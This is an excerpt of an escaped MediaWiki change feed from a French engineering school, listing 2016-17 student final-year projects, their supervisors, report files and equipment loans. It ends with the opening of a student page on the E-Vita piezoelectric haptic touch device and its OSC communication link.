  &amp;lt;td&amp;gt;[[P15 Entreprise : Développement d'une application iOS et Android ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Loïc DELECROIX / Julien JOIGNAUX &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas VANTROYS (Ecole) / Béatrice CADET (entreprise) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 09:13&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P16 Réaliser deux trackers GPS permettant de suivre à distance le trajet d'un coureur ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Valentin Taffin / Alexandre Cuadros &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas Vantroys (Ecole) / Alexandre Boé (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_PFE_présoutenance_cuadros_taffin.pdf]], &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 10:38&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_PFE_Cuadros_Taffin.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P17 Sécurité de l'internet des objets ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Jérémie Denéchaud &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Denechaud_Rapport.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P19 Relai Ethernet Lora ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Cong CHEN / Sonia NDUWAYO &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;13/12/2016, 13:26&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P20 Conception d'un périphérique USB de type &amp;quot;gadget&amp;quot;]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Florian Giovannangeli &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 09:29&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P22 Nuage pour sites Web]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Guillaume VILLEMONT &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_PFE_final_GuillaumeVILLEMONT.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P23 Poste ébavurage de pièces plastiques  ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Corentin CASIER / Jordan RAZAFINDRAIBE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise)  &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;12/12/2016, 23:31&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Contrôle qualité de la production de pièces plastiques  ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alex JULITA / Matthier HERWEGH &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise)  &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;13/12/2016, 12:20&amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[[P25 Supervision calculateur embarqué sur camion  ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre DESCAMD / Pierre MICHEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas Vantroys (Ecole) / R. DAVID (Entreprise) / JF. DUHAUTOIS (Entreprise)  &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 08:23&amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P31 Partition HTTP/TLS pour Pepin]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran SEKAR &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Julien IGUCHI-CARTIGNY&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport mi-projet SEKAR.pdf]] &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 08:14&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_PFE_2017_SEKAR.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P39 Ajouter de nouvelles interactions à la solution Tezeos  ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Nathan RICHEZ &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Samuel Tranchet (Entreprise) / Thomas Vantroys (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 10:30&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P42 Dispositif à retour tactile ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Pierre FITOUSSI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Laurent GRISONI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;13/12/2016, 12:23&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_fitoussi.pdf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P44 Identification d'un robot mobile ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Michel MIKHAEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Midzodzi PEKPE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 08:58 &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P47 Développement d'une interface cerveau-ordinateur ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Victor CHARNET &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; C. Lecocq (Ecole) F. Cabestaing (Labo) A. Duprès (Labo)&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:Rapport_Decembre_BCI_Charnet.pdf]],&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 08:50 &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Fichier:Rapport_Final_Fevrier_BCI_Charnet.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
 &amp;lt;td&amp;gt;[[P52 Application mobile musicale]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Julien Bielle/Romain Ruet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas Vantroys (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 11:09&amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[[P54 Robot assisté par vision pour le tri de pièces métalliques]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Julian BONVILLE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi MERZOUKI (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 08:35&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
 &amp;lt;td&amp;gt;[[P55  DiabetGuard ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Martin CLAVERIE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi MERZOUKI (Ecole) / Guillaume DEWAENE (Entreprise)&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P56 Robot testeur de club de golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Joshua LETELLIER &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi MERZOUKI (Ecole) / Guillaume DEWAELE (Entreprise) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 08:06&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P57 Robotisation d'un poste de production de pièces à base de fil métallique ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Audrey AFFOYON &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD (Ecole) / Laurent HAAG (Projet CENTAURE) / Antoine HONORE (Entreprise) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;  [[Fichier:Affoyon_rapport_p57.pdf]], &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 10:34&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P59 Popsell : application mobile]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin GRUSON &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas VANTROYS (Ecole) / François Vandeplanque (Popsell) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;12/12/2016, 22:36&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P61 Jeux d'aventure grandeur nature ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; MAIA Stéphane / LENTIEUL Romuald &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Thomas Vantroys (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 00:51&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
 &amp;lt;td&amp;gt;[[P64  Sécurité de l'IOT ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Cédric DUVAL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas Vantroys (Ecole) / Alexandre Boé (Ecole)&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[Fichier:Rapport P64 Cédric DUVAL.pdf]], &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;13/12/2016, 11:29&amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
 &amp;lt;td&amp;gt;[[P66  Rugby ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Antonin Claus &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Alexandre Boé / Xavier Redon / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; [[Fichier:P66-Rugby Antonin Claus.pdf]] &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Matériel nécessaires ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Matériel&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P15&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; 2 téléphones Android (reçus le 30 septembre. Une boite complète + 1 boite sans câble de connexion) &amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P16&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Arduino MegaADK &amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P52&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; 2 téléphones Android (reçus le 5 octobre. Deux boites complètes) &amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P55&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; 1 téléphone Android (G4C) reçu le 19/01/2017&amp;lt;br&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P61&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; une tablette Android reçu le 10/10/2016 &amp;lt;br&amp;gt; 1 Raspberry pi (+dongle Wifi) reçu le 10/10/2016&amp;lt;/span&amp;gt;&lt;br /&gt;
  &amp;lt;br&amp;gt;&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt; 9 Raspberry pi (+dongle Wifi) &amp;lt;br&amp;gt; 8 Haut-Parleurs simples &amp;lt;br&amp;gt; 8 clés Bluetooth&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Rapport_fitoussi.pdf&amp;diff=39608</id>
		<title>Fichier:Rapport fitoussi.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Rapport_fitoussi.pdf&amp;diff=39608"/>
				<updated>2017-02-26T09:42:25Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39493</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39493"/>
				<updated>2017-02-23T01:17:09Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
